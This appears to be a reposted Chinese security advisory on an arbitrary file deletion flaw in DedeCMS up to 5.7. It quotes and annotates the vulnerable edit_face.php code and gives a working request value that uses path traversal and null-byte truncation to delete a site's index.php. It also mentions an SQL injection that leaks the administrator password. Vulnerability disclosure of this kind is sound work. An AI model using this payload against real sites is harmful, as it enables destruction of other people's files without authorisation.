利用条件: magic_quotes_gpc=Off 可删除任意后缀文件 magic_quotes_gpc=On 可删除jpg|gif|png后缀文件 PHP版本要求支持空字节截断 ./member/edit_face.php 、./member/edit_space_info.php等文件都有类似的代码,用于修改用户头像和空间logo等图片。 但是程序对旧的的图片路径过滤不严(其实这个参数根本就没有必要让用户提交),从而导致用户可以删除任意文件或者删除任意图片。 此类漏洞网上早就爆出,但并不是只能删除jpg|gif|png类图片文件,在PHP版本支持空字节截断,且magic_quotes_gpc=Off的时候, 可以删除任意类型的文件。 以edit_face.php为例,这个文件还有一个SQL注射漏洞,可以导致管理员密码泄漏, 详见《 DedeCMS几个最新bug分析 》 // ./member/edit_face.php <?php require_once(dirname(__FILE__)."/config.php");//这里是关键,将影响 漏洞 的利用 //config.php的前两句很杯具,如下 //require_once(dirname(__FILE__).'/include/common.inc.php'); //require_once(DEDEINC.'/filter.inc.php'); //这里造成变量覆盖 CheckRank(0,0); //检查用户注册情况 $menutype = 'config'; if(!isset($dopost)) { $dopost = ''; } if(!isset($backurl)) { $backurl = 'edit_face.php'; } if($dopost=='save') { $maxlength = $cfg_max_face * 1024; $userdir = $cfg_user_dir.'/'.$cfg_ml->M_ID; if(!preg_match("#^".$userdir."#", $oldface)) { $oldface = ''; } if(is_uploaded_file($face)) { // HdhCmsTest2cto测试数据 绕过上面乱七八糟的判断语句使程序流程进入这里 if(@filesize($_FILES['face']['tmp_name']) > $maxlength) { ShowMsg("你上传的头像文件超过了 系统 限制大小:{$cfg_max_face} K!", '-1'); exit(); } //删除旧图片(防止文件扩展名不同,如:原来的是gif,后来的是jpg) if(preg_match("#.(jpg|gif|png)$#i", $oldface) && file_exists($cfg_basedir.$oldface)) { /*这里只判断了最后是否是.(jpg|gif|png)结尾以及文件是否存在,没有过滤'..'等恶意字符,可返回任意目录删除 绕过上面的正则和文件是否存在的判断 如果magic_quotes_gpc=Off因为上面存在的漏洞_RunMagicQuotes函数成了纸老虎 提交oldface=/f/uploads/userup/6/index.php%00.png 可删除 网站根目录下的index.php */ @unlink($cfg_basedir.$oldface); //这里删除文件 } //上传新工图片 $face = MemberUploads('face', $oldface, $cfg_ml->M_ID, 'image', 'myface', 180, 180); } 作者: c4rp3nt3r@0x50sec.org
查看更多关于DedeCms <= V5.7 (最新版) 任意文件删除漏洞 - 网站的详细内容...